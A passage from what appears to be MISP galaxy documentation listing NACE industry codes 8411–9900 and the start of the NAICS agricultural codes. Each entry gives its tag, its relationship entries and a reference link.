8411

The tag is: *misp-galaxy:NACE="8411"*

View relationships graph

8411 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12762. Table References

Links
http://data.europa.eu/ux2/nace2/8411

8412

The tag is: *misp-galaxy:NACE="8412"*

View relationships graph

8412 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12763. Table References

Links
http://data.europa.eu/ux2/nace2/8412

8413

The tag is: *misp-galaxy:NACE="8413"*

View relationships graph

8413 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12764. Table References

Links
http://data.europa.eu/ux2/nace2/8413

8421

The tag is: *misp-galaxy:NACE="8421"*

View relationships graph

8421 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12765. Table References

Links
http://data.europa.eu/ux2/nace2/8421

8422

The tag is: *misp-galaxy:NACE="8422"*

View relationships graph

8422 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12766. Table References

Links
http://data.europa.eu/ux2/nace2/8422

8423

The tag is: *misp-galaxy:NACE="8423"*

View relationships graph

8423 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12767. Table References

Links
http://data.europa.eu/ux2/nace2/8423

8424

The tag is: *misp-galaxy:NACE="8424"*

View relationships graph

8424 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12768. Table References

Links
http://data.europa.eu/ux2/nace2/8424

8425

The tag is: *misp-galaxy:NACE="8425"*

View relationships graph

8425 has relationships with:

- similar: misp-galaxy:NACE="9329" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12769. Table References

Links
http://data.europa.eu/ux2/nace2/8425

8430

The tag is: *misp-galaxy:NACE="8430"*

View relationships graph

8430 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12770. Table References

Links
http://data.europa.eu/ux2/nace2/8430

8510

The tag is: *misp-galaxy:NACE="8510"*

View relationships graph

8510 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12771. Table References

Links
http://data.europa.eu/ux2/nace2/8510

8520

The tag is: *misp-galaxy:NACE="8520"*

View relationships graph

8520 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12772. Table References

Links
http://data.europa.eu/ux2/nace2/8520

8531

The tag is: *misp-galaxy:NACE="8531"*

View relationships graph

8531 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12773. Table References

Links
http://data.europa.eu/ux2/nace2/8531

8532

The tag is: *misp-galaxy:NACE="8532"*

View relationships graph

8532 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12774. Table References

Links
http://data.europa.eu/ux2/nace2/8532

8533

The tag is: *misp-galaxy:NACE="8533"*

View relationships graph

8533 has relationships with:

- similar: misp-galaxy:NACE="9329" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12775. Table References

Links
http://data.europa.eu/ux2/nace2/8533

8540

The tag is: *misp-galaxy:NACE="8540"*

View relationships graph

8540 has relationships with:

- similar: misp-galaxy:NACE="9329" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12776. Table References

Links
http://data.europa.eu/ux2/nace2/8540

8551

The tag is: *misp-galaxy:NACE="8551"*

View relationships graph

8551 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12777. Table References

Links
http://data.europa.eu/ux2/nace2/8551

8552

The tag is: *misp-galaxy:NACE="8552"*

View relationships graph

8552 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12778. Table References

Links
http://data.europa.eu/ux2/nace2/8552

8553

The tag is: *misp-galaxy:NACE="8553"*

View relationships graph

8553 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12779. Table References

Links
http://data.europa.eu/ux2/nace2/8553

8559

The tag is: *misp-galaxy:NACE="8559"*

View relationships graph

8559 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12780. Table References

Links
http://data.europa.eu/ux2/nace2/8559

8561

The tag is: *misp-galaxy:NACE="8561"*

View relationships graph

8561 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12781. Table References

Links
http://data.europa.eu/ux2/nace2/8561

8569

The tag is: *misp-galaxy:NACE="8569"*

View relationships graph

8569 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12782. Table References

Links
http://data.europa.eu/ux2/nace2/8569

8610

The tag is: *misp-galaxy:NACE="8610"*

View relationships graph

8610 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12783. Table References

Links
http://data.europa.eu/ux2/nace2/8610

8621

The tag is: *misp-galaxy:NACE="8621"*

View relationships graph

8621 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12784. Table References

Links
http://data.europa.eu/ux2/nace2/8621

8622

The tag is: *misp-galaxy:NACE="8622"*

View relationships graph

8622 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12785. Table References

Links
http://data.europa.eu/ux2/nace2/8622

8623

The tag is: *misp-galaxy:NACE="8623"*

View relationships graph

8623 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12786. Table References

Links
http://data.europa.eu/ux2/nace2/8623

8691

The tag is: *misp-galaxy:NACE="8691"*

View relationships graph

8691 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12787. Table References

Links
http://data.europa.eu/ux2/nace2/8691

8692

The tag is: *misp-galaxy:NACE="8692"*

View relationships graph

8692 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12788. Table References

Links
http://data.europa.eu/ux2/nace2/8692

8693

The tag is: *misp-galaxy:NACE="8693"*

View relationships graph

8693 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12789. Table References

Links
http://data.europa.eu/ux2/nace2/8693

8694

The tag is: *misp-galaxy:NACE="8694"*

View relationships graph

8694 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12790. Table References

Links
http://data.europa.eu/ux2/nace2/8694

8695

The tag is: *misp-galaxy:NACE="8695"*

View relationships graph

8695 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12791. Table References

Links
http://data.europa.eu/ux2/nace2/8695

8696

The tag is: *misp-galaxy:NACE="8696"*

View relationships graph

8696 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12792. Table References

Links
http://data.europa.eu/ux2/nace2/8696

8697

The tag is: *misp-galaxy:NACE="8697"*

View relationships graph

8697 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12793. Table References

Links
http://data.europa.eu/ux2/nace2/8697

8699

The tag is: *misp-galaxy:NACE="8699"*

View relationships graph

8699 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12794. Table References

Links
http://data.europa.eu/ux2/nace2/8699

8710

The tag is: *misp-galaxy:NACE="8710"*

View relationships graph

8710 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12795. Table References

Links
http://data.europa.eu/ux2/nace2/8710

8720

The tag is: *misp-galaxy:NACE="8720"*

View relationships graph

8720 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12796. Table References

Links
http://data.europa.eu/ux2/nace2/8720

8730

The tag is: *misp-galaxy:NACE="8730"*

View relationships graph

8730 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12797. Table References

Links
http://data.europa.eu/ux2/nace2/8730

8791

The tag is: *misp-galaxy:NACE="8791"*

View relationships graph

8791 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12798. Table References

Links
http://data.europa.eu/ux2/nace2/8791

8799

The tag is: *misp-galaxy:NACE="8799"*

View relationships graph

8799 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12799. Table References

Links
http://data.europa.eu/ux2/nace2/8799

8810

The tag is: *misp-galaxy:NACE="8810"*

View relationships graph

8810 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12800. Table References

Links

http://data.europa.eu/ux2/nace2/8810

8891

The tag is: *misp-galaxy:NACE="8891"*

View relationships graph

8891 has relationships with:

- similar: misp-galaxy:NACE="8510" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12801. Table References

Links
http://data.europa.eu/ux2/nace2/8891

8899

The tag is: *misp-galaxy:NACE="8899"*

View relationships graph

8899 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12802. Table References

Links
http://data.europa.eu/ux2/nace2/8899

9011

The tag is: *misp-galaxy:NACE="9011"*

View relationships graph

9011 has relationships with:

- similar: misp-galaxy:NACE="8510" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12803. Table References

Links
http://data.europa.eu/ux2/nace2/9011

9012

The tag is: *misp-galaxy:NACE="9012"*

View relationships graph

9012 has relationships with:

- similar: misp-galaxy:NACE="8510" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12804. Table References

Links
http://data.europa.eu/ux2/nace2/9012

9013

The tag is: *misp-galaxy:NACE="9013"*

View relationships graph

9013 has relationships with:

- similar: misp-galaxy:NACE="8510" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12805. Table References

Links
http://data.europa.eu/ux2/nace2/9013

9020

The tag is: *misp-galaxy:NACE="9020"*

View relationships graph

9020 has relationships with:

- similar: misp-galaxy:NACE="8510" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12806. Table References

Links
http://data.europa.eu/ux2/nace2/9020

9031

The tag is: *misp-galaxy:NACE="9031"*

View relationships graph

9031 has relationships with:

- similar: misp-galaxy:NACE="8510" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12807. Table References

Links
http://data.europa.eu/ux2/nace2/9031

9039

The tag is: *misp-galaxy:NACE="9039"*

View relationships graph

9039 has relationships with:

- similar: misp-galaxy:NACE="8510" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12808. Table References

Links
http://data.europa.eu/ux2/nace2/9039

9111

The tag is: *misp-galaxy:NACE="9111"*

View relationships graph

9111 has relationships with:

- similar: misp-galaxy:NACE="8510" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12809. Table References

Links
http://data.europa.eu/ux2/nace2/9111

9112

The tag is: *misp-galaxy:NACE="9112"*

View relationships graph

9112 has relationships with:

- similar: misp-galaxy:NACE="8510" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12810. Table References

Links
http://data.europa.eu/ux2/nace2/9112

9121

The tag is: *misp-galaxy:NACE="9121"*

View relationships graph

9121 has relationships with:

- similar: misp-galaxy:NACE="8510" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12811. Table References

Links
http://data.europa.eu/ux2/nace2/9121

9122

The tag is: *misp-galaxy:NACE="9122"*

View relationships graph

9122 has relationships with:

- similar: misp-galaxy:NACE="8510" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12812. Table References

Links
http://data.europa.eu/ux2/nace2/9122

9130

The tag is: *misp-galaxy:NACE="9130"*

View relationships graph

9130 has relationships with:

- similar: misp-galaxy:NACE="3319" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="3319" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="3319" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12813. Table References

Links
http://data.europa.eu/ux2/nace2/9130

9141

The tag is: *misp-galaxy:NACE="9141"*

View relationships graph

9141 has relationships with:

- similar: misp-galaxy:NACE="3319" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12814. Table References

Links
http://data.europa.eu/ux2/nace2/9141

9142

The tag is: *misp-galaxy:NACE="9142"*

View relationships graph

9142 has relationships with:

- similar: misp-galaxy:NACE="3319" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12815. Table References

Links

http://data.europa.eu/ux2/nace2/9142

9200

The tag is: *misp-galaxy:NACE="9200"*

View relationships graph

9200 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12816. Table References

Links
http://data.europa.eu/ux2/nace2/9200

9311

The tag is: *misp-galaxy:NACE="9311"*

View relationships graph

9311 has relationships with:

- similar: misp-galaxy:NACE="9329" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12817. Table References

Links
http://data.europa.eu/ux2/nace2/9311

9312

The tag is: *misp-galaxy:NACE="9312"*

View relationships graph

9312 has relationships with:

- similar: misp-galaxy:NACE="9311" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="9329" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12818. Table References

Links

http://data.europa.eu/ux2/nace2/9312

9313

The tag is: *misp-galaxy:NACE="9313"*

View relationships graph

9313 has relationships with:

- similar: misp-galaxy:NACE="8551" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12819. Table References

Links
http://data.europa.eu/ux2/nace2/9313

9319

The tag is: *misp-galaxy:NACE="9319"*

View relationships graph

9319 has relationships with:

- similar: misp-galaxy:NACE="9329" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12820. Table References

Links
http://data.europa.eu/ux2/nace2/9319

9321

The tag is: *misp-galaxy:NACE="9321"*

View relationships graph

9321 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12821. Table References

Links
http://data.europa.eu/ux2/nace2/9321

9329

The tag is: *misp-galaxy:NACE="9329"*

View relationships graph

9329 has relationships with:

- similar: misp-galaxy:NACE="8230" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="9319" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="9321" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12822. Table References

Links
http://data.europa.eu/ux2/nace2/9329

9411

The tag is: *misp-galaxy:NACE="9411"*

View relationships graph

9411 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12823. Table References

Links
http://data.europa.eu/ux2/nace2/9411

9412

The tag is: *misp-galaxy:NACE="9412"*

View relationships graph

9412 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12824. Table References

Links
http://data.europa.eu/ux2/nace2/9412

9420

The tag is: *misp-galaxy:NACE="9420"*

View relationships graph

9420 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12825. Table References

Links
http://data.europa.eu/ux2/nace2/9420

9491

The tag is: *misp-galaxy:NACE="9491"*

View relationships graph

9491 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12826. Table References

Links
http://data.europa.eu/ux2/nace2/9491

9492

The tag is: *misp-galaxy:NACE="9492"*

View relationships graph

9492 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12827. Table References

Links
http://data.europa.eu/ux2/nace2/9492

9499

The tag is: *misp-galaxy:NACE="9499"*

View relationships graph

9499 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12828. Table References

Links
http://data.europa.eu/ux2/nace2/9499

9510

The tag is: *misp-galaxy:NACE="9510"*

View relationships graph

9510 has relationships with:

- similar: misp-galaxy:NACE="9321" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="9321" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12829. Table References

Links
http://data.europa.eu/ux2/nace2/9510

9521

The tag is: *misp-galaxy:NACE="9521"*

View relationships graph

9521 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12830. Table References

Links
http://data.europa.eu/ux2/nace2/9521

9522

The tag is: *misp-galaxy:NACE="9522"*

View relationships graph

9522 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12831. Table References

Links
http://data.europa.eu/ux2/nace2/9522

9523

The tag is: *misp-galaxy:NACE="9523"*

View relationships graph

9523 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12832. Table References

Links
http://data.europa.eu/ux2/nace2/9523

9524

The tag is: *misp-galaxy:NACE="9524"*

View relationships graph

9524 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12833. Table References

Links
http://data.europa.eu/ux2/nace2/9524

9525

The tag is: *misp-galaxy:NACE="9525"*

View relationships graph

9525 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12834. Table References

Links

http://data.europa.eu/ux2/nace2/9525

9529

The tag is: *misp-galaxy:NACE="9529"*

View relationships graph

9529 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12835. Table References

Links
http://data.europa.eu/ux2/nace2/9529

9531

The tag is: *misp-galaxy:NACE="9531"*

View relationships graph

9531 has relationships with:

- similar: misp-galaxy:NACE="9321" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12836. Table References

Links
http://data.europa.eu/ux2/nace2/9531

9532

The tag is: *misp-galaxy:NACE="9532"*

View relationships graph

9532 has relationships with:

- similar: misp-galaxy:NACE="9321" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12837. Table References

Links
http://data.europa.eu/ux2/nace2/9532

9540

The tag is: *misp-galaxy:NACE="9540"*

View relationships graph

9540 has relationships with:

- similar: misp-galaxy:NACE="9321" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="9321" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12838. Table References

Links
http://data.europa.eu/ux2/nace2/9540

9610

The tag is: *misp-galaxy:NACE="9610"*

View relationships graph

9610 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12839. Table References

Links
http://data.europa.eu/ux2/nace2/9610

9621

The tag is: *misp-galaxy:NACE="9621"*

View relationships graph

9621 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12840. Table References

Links

http://data.europa.eu/ux2/nace2/9621

9622

The tag is: *misp-galaxy:NACE="9622"*

View relationships graph

9622 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12841. Table References

Links
http://data.europa.eu/ux2/nace2/9622

9623

The tag is: *misp-galaxy:NACE="9623"*

View relationships graph

9623 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12842. Table References

Links
http://data.europa.eu/ux2/nace2/9623

9630

The tag is: *misp-galaxy:NACE="9630"*

View relationships graph

9630 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12843. Table References

Links

http://data.europa.eu/ux2/nace2/9630

9640

The tag is: *misp-galaxy:NACE="9640"*

View relationships graph

9640 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12844. Table References

Links
http://data.europa.eu/ux2/nace2/9640

9691

The tag is: *misp-galaxy:NACE="9691"*

View relationships graph

9691 has relationships with:

- similar: misp-galaxy:NACE="8121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="8121" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12845. Table References

Links
http://data.europa.eu/ux2/nace2/9691

9699

The tag is: *misp-galaxy:NACE="9699"*

View relationships graph

9699 has relationships with:

- similar: misp-galaxy:NACE="8121" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12846. Table References

Links
http://data.europa.eu/ux2/nace2/9699

9700

The tag is: *misp-galaxy:NACE="9700"*

View relationships graph

9700 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12847. Table References

Links
http://data.europa.eu/ux2/nace2/9700

9810

The tag is: *misp-galaxy:NACE="9810"*

View relationships graph

9810 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12848. Table References

Links
http://data.europa.eu/ux2/nace2/9810

9820

The tag is: *misp-galaxy:NACE="9820"*

View relationships graph

9820 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12849. Table References

Links
http://data.europa.eu/ux2/nace2/9820

9900

The tag is: *misp-galaxy:NACE="9900"*

View relationships graph

9900 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12850. Table References

Links
http://data.europa.eu/ux2/nace2/9900

NAICS

The North American Industry Classification System or NAICS is a classification of business establishments by type of economic activity (the process of production)..

NAICS is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Executive Office of the President Office of Management and Budget

11

Agriculture, Forestry, Fishing and Hunting

The tag is: *misp-galaxy:naics="11"*

View relationships graph

11 has relationships with:

- parent-of: misp-galaxy:naics="111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="115" with estimative-language:likelihood-probability="likely"

111

Crop Production

The tag is: *misp-galaxy:naics="111"*

View relationships graph

111 has relationships with:

- child-of: misp-galaxy:naics="11" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"

1111

Oilseed and Grain Farming

The tag is: *misp-galaxy:naics="1111"*

View relationships graph

1111 has relationships with:

- child-of: misp-galaxy:naics="111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111140" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11115" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111150" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11116" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111160" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11119" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111199" with estimative-language:likelihood-probability="likely"

11111

Soybean Farming

The tag is: *misp-galaxy:naics="11111"*

View relationships graph

11111 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="111110" with estimative-language:likelihood-probability="likely"

111110

Soybean Farming

The tag is: *misp-galaxy:naics="111110"*

View relationships graph

111110 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11111" with estimative-language:likelihood-probability="likely"

11112

Oilseed (except Soybean) Farming

The tag is: *misp-galaxy:naics="11112"*

View relationships graph

11112 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="111120" with estimative-language:likelihood-probability="likely"

111120

Oilseed (except Soybean) Farming

The tag is: *misp-galaxy:naics="111120"*

View relationships graph

111120 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11112" with estimative-language:likelihood-probability="likely"

11113

Dry Pea and Bean Farming

The tag is: *misp-galaxy:naics="11113"*

View relationships graph

11113 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="111130" with estimative-language:likelihood-probability="likely"

111130

Dry Pea and Bean Farming

The tag is: *misp-galaxy:naics="111130"*

View relationships graph

111130 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11113" with estimative-language:likelihood-probability="likely"

11114

Wheat Farming

The tag is: *misp-galaxy:naics="11114"*

View relationships graph

11114 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="111140" with estimative-language:likelihood-probability="likely"

111140

Wheat Farming

The tag is: *misp-galaxy:naics="111140"*

View relationships graph

111140 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11114" with estimative-language:likelihood-probability="likely"

11115

Corn Farming

The tag is: *misp-galaxy:naics="11115"*

View relationships graph

11115 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="111150" with estimative-language:likelihood-probability="likely"

111150

Corn Farming

The tag is: *misp-galaxy:naics="111150"*

View relationships graph

111150 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11115" with estimative-language:likelihood-probability="likely"

11116

Rice Farming

The tag is: *misp-galaxy:naics="11116"*

View relationships graph

11116 has relationships with:

